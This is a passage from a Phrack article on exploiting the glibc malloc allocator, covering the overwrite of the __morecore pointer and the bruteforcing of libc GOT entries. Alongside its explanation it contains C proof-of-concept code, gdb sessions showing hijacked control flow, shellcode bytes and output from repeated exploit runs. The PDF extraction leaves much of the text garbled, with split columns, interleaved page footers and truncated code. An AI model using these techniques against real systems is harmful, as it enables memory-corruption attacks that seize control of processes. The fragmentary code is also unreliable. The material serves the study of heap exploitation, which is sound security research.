Also, MORECORE is called by main_trim() and top_chunk().
We just need to sit and wait until the code reaches any of these points.
In some cases it may be necessary to arrange things in order to avoid the
code crashing before.
The morecore function pointer is called each time the heap needs to be
extended, so forcing the process to allocate a lot of memory is
recommended after overwriting the pointer.
In case we are not able to avoid a crash before taking control of the
process, there's no problem (unless the server dies completely), as we can
expect the libc to be mapped in the same address in most cases.
--] 4.5.2.1 Proof of concept 5 : Jumping with morecore
The following code just shows to get the required information from a
freed chunk, calculates the address of __morecore and forces a call
to MORECORE() after having overwritten it.
[jp@vaiolator heapy]$ ./heapy
(-) lonely chunk was freed, gathering information...
(!) sz = 520 - bk = 0x4212E1A0 - fd = 0x4212E1A0
(!) the chunk is in bin number 64
(!) &main_arena[0] @ 0x4212DFA0
(!) __morecore @ 0x4212DF80
(-) overwriting __morecore...
(-) forcing a call to MORECORE()...
Segmentation fault
Let's look what happened with gdb, we'll also be using a simple
modified malloc in the form of a shared library to know what is
going on inside malloc's internal structures.
[jp@vaiolator heapy]$ gdb heapy
GNU gdb Red Hat Linux (5.2-2)
Copyright 2002 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux"...
(gdb) r
Starting program: /home/jp/cerebro//heapy/morecore
(-) lonely chunk was freed, gathering information...
(!) sz = 520 - bk = 0x4212E1A0 - fd = 0x4212E1A0
(!) the chunk is in bin number 64
(!) &main_arena[0] @ 0x4212DFA0
(!) __morecore @ 0x4212DF80
(-) overwriting __morecore...
24 of 35
28/08/2015 12:08
http://phrack.org/issues/61/6.html#article
0x00000000
0x00000000
Note we call malloc() again with another pointer, letting this aux
pointer be the chunk next to the top_chunk... to avoid the
differences in the way it is handled when freed with our purposes
(remember in this special case the chunk would be coalesced with the
top_chunk without getting linked to any bin):
aux = (unsigned int*)malloc(0x0);
[1422] MALLOC(512) - CHUNK_ALLOC(0x40019bc0,520)
- returning 0x8049a18 from top_chunk
- new top 0x8049c20 size 993
[1422] MALLOC(0)
- CHUNK_ALLOC(0x40019bc0,16)
- returning 0x8049c20 from top_chunk
- new top 0x8049c30 size 977
This is the way the heap looks like up to now...
--- HEAP DUMP --ADDRESS SIZE
sbrk_base
0x80499f8
chunk
0x80499f8 33(0x21)
chunk
0x8049a18 521(0x209)
chunk
0x8049c20 17(0x11)
chunk
0x8049c30 977(0x3d1)
sbrk_end
0x804a000
FLAGS
(inuse)
(inuse)
(inuse)
(top)
0x4212e1a0
0x00000000
0x4212e1a0
0x00000000
0x00000000
0x00000000
The chunk was freed and inserted into some bin... which was empty as
this was the first chunk freed. So this is a 'lonely chunk', the
only chunk in one bin.
Here we can see both bk and fd pointing to the same address in
libc's memory, let's see how the main_arena looks like now:
0x4212dfa0
0x4212dfb0
0x4212dfc0
0x4212dfd0
0x4212dfe0
0x4212dff0
0x4212e000
0x4212e010
0x4212e020
25 of 35
<main_arena>:
0x00000000 0x00010000 0x08049be8 0x4212dfa0
<main_arena+16>:
0x4212dfa8 0x4212dfa8 0x4212dfb0 0x4212dfb0
<main_arena+32>:
0x4212dfb8 0x4212dfb8 0x4212dfc0 0x4212dfc0
<main_arena+48>:
0x4212dfc8 0x4212dfc8 0x4212dfd0 0x4212dfd0
<main_arena+64>:
0x4212dfd8 0x4212dfd8 0x4212dfe0 0x4212dfe0
<main_arena+80>:
0x4212dfe8 0x4212dfe8 0x4212dff0 0x4212dff0
<main_arena+96>:
0x4212dff8 0x4212dff8 0x4212e000 0x4212e000
<main_arena+112>: 0x4212e008 0x4212e008 0x4212e010 0x4212e010
<main_arena+128>: 0x4212e018 0x4212e018 0x4212e020 0x4212e020
28/08/2015 12:08
0x4212e030
...
...
0x4212e180
0x4212e190
0x4212e1a0
0x4212e1b0
0x4212e1c0
http://phrack.org/issues/61/6.html#article
<main_arena+144>:
0x4212e028
0x4212e028
0x4212e030
0x4212e030
<main_arena+480>:
<main_arena+496>:
<main_arena+512>:
<main_arena+528>:
<main_arena+544>:
0x4212e178
0x4212e188
0x4212e198
0x4212e1a8
0x4212e1b8
0x4212e178
0x4212e188
0x4212e198
0x4212e1a8
0x4212e1b8
0x4212e180
0x4212e190
0x080499d0
0x4212e1b0
0x4212e1c0
0x4212e180
0x4212e190
0x080499d0
0x4212e1b0
0x4212e1c0
Note the completely just initialized main_arena with all its bins
pointing to themselves, and the just added free chunk to one of the
bins...
(gdb) x/4x 0x4212e1a0
0x4212e1a0 <main_arena+512>:
0x4212e198
0x4212e198
0x080499d0
0x080499d0
FLAGS
(inuse)
(free)
(inuse)
(top)
fd = 0x40019dc0 | bk = 0x40019dc0
26 of 35
28/08/2015 12:08
http://phrack.org/issues/61/6.html#article
in
in
in
in
?? ()
malloc () from /lib/i686/libc.so.6
main (argc=1, argv=0xbffffad4) at heapy.c:52
__libc_start_main () from /lib/i686/libc.so.6
(gdb) frame 1
#1 0x4207a148 in malloc () from /lib/i686/libc.so.6
(gdb) x/i $pc-0x5
0x4207a143 <malloc+195>:
call
0x4207a2f0 <chunk_alloc>
(gdb) disass chunk_alloc
Dump of assembler code for function chunk_alloc:
...
0x4207a8ac <chunk_alloc+1468>:
mov
0x64c(%ebx),%eax
0x4207a8b2 <chunk_alloc+1474>:
sub
$0xc,%esp
0x4207a8b5 <chunk_alloc+1477>:
push
%esi
0x4207a8b6 <chunk_alloc+1478>:
call
*(%eax)
At this point we see chunk_alloc trying to jump to __morecore
(gdb) x/x $eax
0x4212df80 <__morecore>:
0x41414141
#include <stdio.h>
#include <stdlib.h>
/* some malloc code... */
#define MAX_SMALLBIN
63
#define MAX_SMALLBIN_SIZE
512
#define SMALLBIN_WIDTH
8
#define is_small_request(nb) ((nb) < MAX_SMALLBIN_SIZE - SMALLBIN_WIDTH)
#define smallbin_index(sz) (((unsigned long)(sz)) >> 3)
#define bin_index(sz)
\
(((((unsigned long)(sz)) >> 9) ==
0) ?
(((unsigned long)(sz)) >> 3):\
((((unsigned long)(sz)) >> 9) <=
4) ? 56 + (((unsigned long)(sz)) >> 6):\
((((unsigned long)(sz)) >> 9) <=
20) ? 91 + (((unsigned long)(sz)) >> 9):\
((((unsigned long)(sz)) >> 9) <=
84) ? 110 + (((unsigned long)(sz)) >> 12):\
((((unsigned long)(sz)) >> 9) <= 340) ? 119 + (((unsigned long)(sz)) >> 15):\
((((unsigned long)(sz)) >> 9) <= 1364) ? 124 + (((unsigned long)(sz)) >> 18):\
126)
#define SIZE_MASK 0x3
#define CHUNK_SIZE 0x200
int main(int argc, char *argv[]){
unsigned int *chunk,*aux,sz,bk,fd,bin,arena,morecore;
chunk = (unsigned int*)malloc(CHUNK_SIZE);
aux = (unsigned int*)malloc(0x0);
free(chunk);
printf("(-) lonely chunk was freed, gathering information...\n");
sz = chunk[-1] & ~SIZE_MASK;
fd = chunk[0];
bk = chunk[1];
if(bk==fd) printf("\t(!) sz = %u - bk = 0x%X - fd = 0x%X\n",sz,bk,fd);
else printf("\t(X) bk != fd ...\n"),exit(-1);
bin = is_small_request(sz)? smallbin_index(sz) : bin_index(sz);
printf("\t(!) the chunk is in bin number %d\n",bin);
arena = bk-bin*2*sizeof(void*);
27 of 35
28/08/2015 12:08
http://phrack.org/issues/61/6.html#article
28 of 35
28/08/2015 12:08
http://phrack.org/issues/61/6.html#article
0x200
0x2
#define
#define
#define
#define
"\xeb\xfe"
2
512
64 * 1024
LOOP_SC
LOOP_SZ
SC_SZ
OUTPUT_SZ
#define SOMEOFFSET(x)
#define SOMECHUNKSZ
11 + (rand() % ((x)-1-11))
32 + (rand() % 512)
#define PREV_INUSE
#define IS_MMAP
#define NON_MAIN_ARENA
1
2
4
29 of 35
28/08/2015 12:08
http://phrack.org/issues/61/6.html#article
1944
588
1148
1072
948
1836
bytes
bytes
bytes
bytes
bytes
bytes
chunk
chunk
chunk
chunk
chunk
chunk
30 of 35
28/08/2015 12:08
http://phrack.org/issues/61/6.html#article
0x8049cb0
0x8049cb0
0x8049cb0
0x8049cb0
0x8049cb0
0x8049cb0
0x8049cb0
0x8049cb0
0x8049cb0
0x8049cb0
0x8049cb0
at
at
at
at
at
at
at
at
at
at
at
0x4212a564
0x4212a55c
0x4212a554
0x4212a54c
0x4212a544
0x4212a53c
0x4212a534
0x4212a52c
0x4212a524
0x4212a51c
0x4212a514
using
using
using
using
using
using
using
using
using
using
using
1944
588
1148
1072
948
1836
1132
1432
904
2144
2080
bytes
bytes
bytes
bytes
bytes
bytes
bytes
bytes
bytes
bytes
bytes
chunk
chunk
chunk
chunk
chunk
chunk
chunk
chunk
chunk
chunk
chunk
$ ./got_bf 155
## HINTED LIBC GOT BRUTEFORCING PoC ##
(-) 512 bytes shellcode @ 0x8049cb0
(-) forcing bin address disclosure... 0x4212b1dc
(-) starting libc GOT bruteforcing @ 0x4212a9dc
try #155 writing 0x8049cb0 at 0x4212a504 using
try #156 writing 0x8049cb0 at 0x4212a4fc using
try #157 writing 0x8049cb0 at 0x4212a4f4 using
Segmentation fault
$ ./got_bf 158
## HINTED LIBC GOT BRUTEFORCING PoC ##
(-) 512 bytes shellcode @ 0x8049cb0
(-) forcing bin address disclosure... 0x4212b1dc
(-) starting libc GOT bruteforcing @ 0x4212a9dc
try #158 writing 0x8049cb0 at 0x4212a4ec using
...
try #179 writing 0x8049cb0 at 0x4212a444 using
Segmentation fault
$ ./got_bf 180
## HINTED LIBC GOT BRUTEFORCING PoC ##
(-) 512 bytes shellcode @ 0x8049cb0
(-) forcing bin address disclosure... 0x4212b1dc
(-) starting libc GOT bruteforcing @ 0x4212a9dc
try #180 writing 0x8049cb0 at 0x4212a43c using
try #181 writing 0x8049cb0 at 0x4212a434 using
try #182 writing 0x8049cb0 at 0x4212a42c using
try #183 writing 0x8049cb0 at 0x4212a424 using
Segmentation fault
1944
588
1148
1072
bytes
bytes
bytes
bytes
chunk
chunk
chunk
chunk
1944
588
1148
1072
bytes
bytes
bytes
bytes
chunk
chunk
chunk
chunk
$ ./got_bf 183
## HINTED LIBC GOT BRUTEFORCING PoC ##
(-) 512 bytes shellcode @ 0x8049cb0
(-) forcing bin address disclosure... 0x4212b1dc
(-) starting libc GOT bruteforcing @ 0x4212a9dc
try #183 writing 0x8049cb0 at 0x4212a424 using
try #184 writing 0x8049cb0 at 0x4212a41c using
try #185 writing 0x8049cb0 at 0x4212a414 using
try #186 writing 0x8049cb0 at 0x4212a40c using
31 of 35
28/08/2015 12:08
try
try
try
try
#187
#188
#189
#190
http://phrack.org/issues/61/6.html#article
writing
writing
writing
writing
0x8049cb0
0x8049cb0
0x8049cb0
0x8049cb0
at
at
at
at
0x4212a404
0x4212a3fc
0x4212a3f4
0x4212a3ec
using
using
using
using
948
1836
1132
1432
bytes
bytes
bytes
bytes
chunk
chunk
chunk
chunk
32 of 35
28/08/2015 12:08
http://phrack.org/issues/61/6.html#article
----------------------------------------------------------------------------] 7 References
[1]
[2]
[3]
[4]
[5]
[6]
[7]
[8]
[9]
[10]
[11]
[12]
[13]
[14]
http://www.malloc.de/malloc/ptmalloc2.tar.gz
ftp://g.oswego.edu/pub/misc/malloc.c
www.phrack.org/phrack/57/p57-0x08
Vudo - An object superstitiously believed to embody magical power
Michel "MaXX" Kaempf
www.phrack.org/phrack/57/p57-0x09
Once upon a free()
anonymous
http://www.phrack.org/show.php?p=59&a=7
Advances in format string exploitation
gera and riq
http://www.coresecurity.com/common/showdoc.php? \
idx=359&idxseccion=13&idxmenu=32
About exploits writing
gera
http://online.securityfocus.com/bid/5363
http://security.e-matters.de/advisories/012003.txt
http://www.openwall.com/advisories/OW-002-netscape-jpeg.txt
JPEG COM Marker Processing Vulnerability in Netscape Browsers
Solar Designer
http://lists.insecure.org/lists/bugtraq/2000/Nov/0086.html
Local root exploit in LBNL traceroute
Michel "MaXX" Kaempf
http://www.w00w00.org/files/articles/heaptut.txt
w00w00 on Heap Overflows
Matt Conover & w00w00 Security Team
http://www.phrack.org/show.php?p=49&a=14
Smashing The Stack For Fun And Profit
Aleph One
http://phrack.org/show.php?p=55&a=8
The Frame Pointer Overwrite
klog
http://www.phrack.org/show.php?p=59&a=9
Bypassing PaX ASLR protection
[email protected]
http://phrack.org/show.php?p=58&a=4
The advanced return-into-lib(c) exploits
Nergal
33 of 35
\
3):\
6):\
9):\
28/08/2015 12:08
http://phrack.org/issues/61/6.html#article
BOUNDED_1(_bin_at(a, i))
((mbinptr)((char*)&(((a)->av)[2*(i)+2]) - 2*SIZE_SZ))
IAV(7),
IAV(15),
IAV(23),
IAV(31),
IAV(39),
IAV(47),
IAV(55),
IAV(63),
IAV(71),
IAV(79),
IAV(87),
IAV(95),
IAV(103),
IAV(111),
IAV(119),
IAV(127)
The main_arena is the place where the allocator stores the 'bins' to which
the free chunks are linked depending on they size.
34 of 35
28/08/2015 12:08
http://phrack.org/issues/61/6.html#article
The little graph below resumes all the structures detailed before:
<main_arena> @ libc's DATA
[bin_n]
ptr]
ptr]
[bin_n+1]
---->
---->
(first chunk)
[<- chunk ->] [<- chunk ->] [<[
[<- chunk ->] [<- chunk ->] [<(last chunk)
fd
chunk
bk
.
.
.
[bin_X]
ptr] ---->
ptr] ---->
[<[
[<-
fd
lonely but interesting chunk
bk
.
.
|=[ EOF ]=---------------------------------------------------------------=|
35 of 35
28/08/2015 12:08